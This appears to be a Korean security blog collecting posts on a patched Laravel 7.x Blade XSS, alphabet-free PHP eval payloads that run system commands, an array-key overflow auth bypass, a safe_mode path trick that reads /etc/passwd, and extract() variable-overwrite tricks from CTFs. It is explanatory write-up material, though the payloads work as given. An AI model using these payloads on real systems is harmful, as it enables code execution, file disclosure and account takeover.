[패치됨] Laravel 7.x – XSS vulnerability

이 포스팅은 laravel 7.0 ~ 7.1.2 까지 버전에 존재하는 취약점 입니다.
사용중이신 버전이 포함되어있다면 laravel 7.1.3이상으로 업데이트 하시기 바랍니다.

Laravel news of XSS vector

laravel-news 에서 7.1.2 미만의 버전에서 XSS 공격 포인트가 있으니 업데이트하라는 소식이 들려와 어느부분이 취약한지 궁금해 해당 부분에 대한 코드를 찾아 봤다.

Github를 의 커밋 로그를 보면 attributesToString 메소드에 $escapeBound 옵션이 추가되었고, sanitizeComponentAttribute란 static 메소드가 추가되었다.

sanitizeComponentAttribute 메소드는 입력된 값이 문자열이거나, object 인경우 __toString 매직 메소드가 존재하면 e()(laravel의 html 이스케이프 함수)로 string을 소독(?) 하는 메소드이다.

근데 x-blade 문법에서 attributes->merge하는 메소드에서는 해당 코드가 적용되지 않아 tag 부분을 이스케이프 할 수 있어 XSS 공격이 가능해진다.

XSS code

<!-- resources/views/welcome.blade.php -->
<x-xss></x-xss>
<!-- resources/views/components/xss.blade.php -->
<div {{ $attributes->merge(['class' => request()->css]) }}>XSS able</div>

URI : http://127.0.0.1:8000/?css="><script>alert(1)</script>

<!-- Result -->
<div class="\"><script>alert(1)</script>">XSS able</div>
XSS in laravel 7.1.2

위와 같이 XSS가 실행되는 것을 볼 수 있다.

Patch

메일 보내고 1시간 만에 패치하고 릴리즈 되었다 ㄷㄷ;

7.1.3 버전에서 패치되었으며[commit] composer update를 하면 자동으로 패치되어진다.

나도 업데이트에서 언급 해줫으면 좋겟다. 나도 찾은건 찾은건데… ㅜ

[PHP] Non alphanumeric code

[PHP] Non alphanumeric code

TL;DR

PHP의 가변 함수와  bit 연산자로 alphabet 없이 함수를 실행 시킨다.
1. alphabet이 아닌 문자열을 변수에 넣는다.
2. bit연산자를 통해 원하는 문자열의 bit 값으로 바꾸어 준다.
3. 가변 함수를 사용해 함수를 실행 시킨다.


<?php
if (isset($_GET['eval'])) {
    if (preg_match('/[a-z]/i', $_GET['eval'])) {
        die('No ALPHABET!!!!');
    } else {
        eval('echo '.$_GET['eval'].';');
    }
}

조건

  1. php 파라미터가 eval에 들어가 있다.
  2. 다만 입력받는 파라미터가 알파벳을 허용하지 않는다.
  3. 내가 원하는 함수 (system, shell_exec ..) 를 실행 해야 한다.

방법 1

<?php
$_[][email protected]!+_; [email protected]${_}>>$_;$_[]=$__;$_[][email protected]_;@$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=${$_[$__+ $__]} ;$_[@-_]($_[@!+_] );

?0=system&1=ls

이 기법의 장점은 어떠한 알파벳도 사용하지 않는다는 것이다.

2 ~ 3번 째 라인 실행후 $_의 변화
array(5) {
    [0]=>
    bool(true)
    [1]=>
    int(0)
    [2]=>
    string(8) "_Array57"
    [3]=>
    int(3)
    [4]=>
    string(1) "_"
}

이처럼 [4]번째 배열에 _GET문자열을 넣고 가변 함수로 사용하는 방식이다.
마지막 줄에 가장 잘 나와있는데
$_=${$_[$__+ $__]} ;$_[@-_]($_[@!+_] ); 이를 풀어서 설명하면
$_=${$_[4]} > $_=${"_GET"} > $_=$_GET
$_[@-_]($_[@!+_] ); > $_[0]($_[1] ); > $_GET[0]($_GET[1]); 이와 같이 파라미터 0으로 넘어온 값을 함수명으로,
1로 넘어온 값을 인자로 하여 실행 하게 된다.

PS 기존의 마지막 줄 코드는
$_=$
$_[$__+ $__];$_[@-_]($_[@!+_] );
 
이었으나 PHP 7이상부터
$ //(개행)
"문자열" 문법을 더이상 지원 하지 않는다.

방법 2

<?php 
$_="{";
$_=($_^"<").($_^">;").($_^"/");?>
<?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

?_=system&__=ls

1에서 아무런 문자열 _GET을 만들었다면, 2번째 방법에선 “{“의 bit연산을 하여 _GET이라는 문자열을 만드는 방식이다.

3번째 줄
$_=($_^"<").($_^">;").($_^"/");에서 “{“의 bit연산을 해 ‘GET’이라는 문자열을 만든다.

4번째 줄
${'_'.$_}["_"](${'_'.$_}["__"]); 만들어지 ‘GET’에 ‘_’ 을 붙여 ‘_GET’으로 만들고 가변 함수를 사용해
파라미터 ‘_’를 함수명 ‘__’를 인자로 하여 실행한다.

 


비트 연산으로 _GET과 같은 문자열을 만들고 해당 문자열을 PHP의 문자열을 변수로 바꿔주는 특징을 활용해 알파벳 없이 가변 함수를 실행 할 수 있는 방법이였다.

[phpTrick] array === array compare bypass(?) (<5.5.9)

php Array === Array compare bug

Example Code

<?php
$arr = ['admin', 'password'];
$auth = $_GET['auth'];
if( $arr === $auth && $auth[0] != 'admin'){
    echo 'Hello admin!';
} else {
    echo 'login plz';
}

위와 같은 코드가 있을 때,
2번째 줄 $arr의 0번째인자가 admin으로 박혀있고,
3번째 줄에선 $auth와 $arr의 키/값 순서까지 일치해야 true여야하고(identity), $auth[0]이 admin이 아니여야 Hello admin!이 뜨게 된다.

하지만 ?auth[4294967296]=admin&auth[1]=password를 입력하게 되면 32bit int의 표현의 한계의 의해 auth[4294967296]auth[0]으로 들어가게 되어 해당 if 문을 통과 할 수 있게된다.

[phpTrick] php safe_mode bypass vulnerability (< 5.1.6, <4.4 )

php safe_mode bypass (<5.1.6, <4.4)


Normal Example

//localhost/download.php?dir=path/file.jpg와 같은 파일을 다운 받게 하는 페이지가 존재할 때,
LFI를 통해 서버의 파일을 다운받으려고 할 때 //localhost/download.php?dir=../../../../../../etc/passwd와 같은 쿼리를 날리게 되면

Warning: fopen(/some/path/../../../../../../etc/passwd) [function.fopen]: failed to open stream: Permission denied in /var/www/html/download.php on line 1

Safe mode 가 활성화 되어있기 때문에 다운로드가 불가능하다.

Bypass Example

이때 //localhost/download.php?dir=../../../../../../etc/passwd/./처럼 자기 자신의 파일을 가르키게 하는 텍스트를 넣는다면,

Warning: fopen(/some/path/../../../../../../etc/passwd) [function.fopen]: failed to open stream: Permission denied in /var/www/html/download.php on line 1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync […]

위처럼 에러가 나지만 아래 파일의 내용이 포함되어 출력되게 된다.

[Vulnerability of PHP Function] extract()

Extract($_POST) or ($_GET)[php.net]


PHP에서 Extract()함수를  사용함에 있어서 발생할 수 있는 위험성을 알아본다.

Extract() 함수

Extract($_GET)과 같이 선언 될 경우
$_GET[id]가 의미하는 바와 $id가 의미하는 바가 같아진다.

 

서버 사이드 변수 조작(holyshield_CTF)

<?php
$up="abc";
extract($_GET);
$down="efg";

echo "u p : $up<br>";
echo "down: $down";
?>

위와 소스코드와 같은 경우 extract 함수 위에 선언된 변수($up)의 경우 사용자 마음대로 수정이 가능하다.
http://localhost/index.php?up=123&down=456

u p : 123
down: efg

 

필터링 우회 (크리스마스 CTF)

<?php
session_start();
extract($_GET);
extract($_POST);
foreach ( $_GET as $key => $value ) $$key = addslashes($value);
foreach ( $_POST as $key => $value ) $$key = addslashes($value);
  
echo "$uid <br>";
echo $_SESSION['uid'];
?>

위에 코드는 사용자 입력값에 대해 addslashes 를 하여 SQLi를 막는다.
GET data ?uid='123
라고 입력할 경우 \'123 와 같이 출력된다.

우회 방법 1

extract 문을 보면 GET 다음에 POST를 extract해주고 있다.
그말인 즉슨 $_POST가 _GET을 덮어 쓸수 있다는 뜻이다.

GET data = ?_SESSION[uid]='123
POST data = ('_GET':'123')
위와 같이 데이터를 주게 되면
POST에서 보낸 _GET이 기존의 _GET을 대체하게 되며,
진짜 _GET으로 보낸 $_SESSION[uid]'123이 대입 되며 세션 uid엔 ‘123이 저장된다.

또한 GET data ?uid='silnex 이렇게 보낼경우에도 당연히 uid‘silnex 값이 고스란이 저장된다.

우회 방법 2 (hard?)

우회방법 1에선 _POST로 _GET을 덥어 씌웠다. 
하지만 _GET으로 _GET을 덥어 씌울 수 있다.(??)

실제로 
GET data ?_SESSION[uid]=silnex'&uid='123&_GET
위 데이터를 전송하게 되면 _GET이 _GET을 덮어서 uid세션uid
각각 silnex’와 ‘123이 들어가게 된다.

 

point

Extract함수는 자기 자신 위에 존재하는 변수를 덮어 씌울 수 있다.

Tip

extract를 안전하게 사용하기 위해선 아래 옵션을 사용한다.
EXTR_SKIP >> 충돌이 발생하면, 기존 변수를 덮어쓰지 않는다. ” from php.net